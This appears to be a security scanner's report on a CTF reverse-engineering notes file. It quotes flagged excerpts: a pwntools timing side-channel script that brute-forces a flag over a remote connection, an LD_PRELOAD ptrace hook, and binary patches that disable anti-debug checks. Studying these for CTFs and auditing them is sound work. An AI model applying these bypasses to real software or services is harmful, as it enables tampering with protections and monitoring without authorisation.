values = [0x6174654d, 0x7b465443, ...] # From disassembly flag = b''.join(v.to_bytes(4, 'little') for v in values)

text

---

## Timing Side-Channel Attack

**Pattern (Clock Out):** Validation time varies per correct character (longer sleep on match).

**Exploitation:**
```python
import time
from pwn import *

flag = ""
for pos in range(flag_length):
    best_char, best_time = '', 0
    for c in string.printable:
        io = remote(host, port)
        start = time.time()
        io.sendline((flag + c).ljust(total_len, 'X'))
        io.recvall()
        elapsed = time.time() - start
        if elapsed > best_time:
            best_time = elapsed
            best_char = c
        io.close()
    flag += best_char

Multi-Thread Anti-Debug with Decoy + Signal Handler Mixed Boolean-Arithmetic (ApoorvCTF 2026)

Pattern (A Golden Experience Requiem): Multi-threaded binary

YARA rule 'backdoor_persistence': Backdoor persistence with malicious payloads (shell commands, SSH key injection, hidden root users) [malware]

High
Category
YARA Match
Confidence
86% confidence
Finding

The LD_PRELOAD hooking example shows how to interpose on ptrace and alter or observe runtime behavior, a technique commonly used for stealthy process manipulation and defense evasion. Although presented for reverse-engineering education, it provides immediately actionable tradecraft that could be abused to tamper with binaries or monitoring logic on real systems.

Content

Scanner excerpt · references/ctf-reverse/patterns.md (reported line 184)May include surrounding context.

Continue

text

### LD_PRELOAD Hook
```c
#define _GNU_SOURCE
#include <dlfcn.h>
#include <sys/ptrace.h>

long int ptrace(enum __ptrace_request req, ...) {
    long int (*orig)(enum __ptrace_request, pid_t, void*, void*);
    orig = dlsym(RTLD_NEXT, "ptrace");
    // Log or modify behavior
    return orig(req, pid, addr, data);
}

Compile: gcc -shared -fPIC -ldl hook.c -o hook.so Run: LD_PRELOAD=./hook.so ./binary

Key insight: Anti-debugging checks are the first obstacle in most reversing challenges. Look for ptrace, IsDebuggerPresent, or timing checks early in main() and patch or hook them before attempting deeper analysis.

pwntools Binary Patching (Crypto-Cat)

Patch out anti-debug calls directly using pwntools — replaces function with ret instruction:

python
from pwn import *

elf = ELF('./challenge', checksec=False)
elf.asm(elf.symbols.ptrace, 'ret')   # Replace ptrace() with immediate return
elf.save('patched')                   # Save patched bi

YARA rule 'exploit_framework': Exploit framework components and payloads [hacktools]

High
Category
YARA Match
Confidence
91% confidence
Finding

The file includes concrete pwntools-based binary patching examples that disable anti-debugging by replacing functions with 'ret' or forcing return values. In the context of a security skill focused on exploitation and reverse engineering, this is dual-use content that can be readily repurposed to tamper with third-party binaries and bypass protections, making it materially more dangerous than generic educational discussion.

Content

Scanner excerpt · references/ctf-reverse/patterns.md (reported line 191)May include surrounding context.

OAD=./hook.so ./binary`

Key insight: Anti-debugging checks are the first obstacle in most reversing challenges. Look for ptrace, IsDebuggerPresent, or timing checks early in main() and patch or hook them before attempting deeper analysis.

pwntools Binary Patching (Crypto-Cat)

Patch out anti-debug calls directly using pwntools — replaces function with ret instruction:

python
from pwn import *

elf = ELF('./challenge', checksec=False)
elf.asm(elf.symbols.ptrace, 'ret')   # Replace ptrace() with immediate return
elf.save('patched')                   # Save patched binary

Other common patches:

python
elf.asm(addr, 'nop')                  # NOP out an instruction
elf.asm(addr, 'xor eax, eax; ret')    # Return 0 (bypass checks)
elf.asm(addr, 'mov eax, 1; ret')      # Return 1 (force success)

Nanomites

Linux (Signal-Based)

  • SIGTRAP (int 3) → Custom operation
  • SIGILL (ud2) → Custom operation
  • SIGFPE (idiv 0) → Custom operati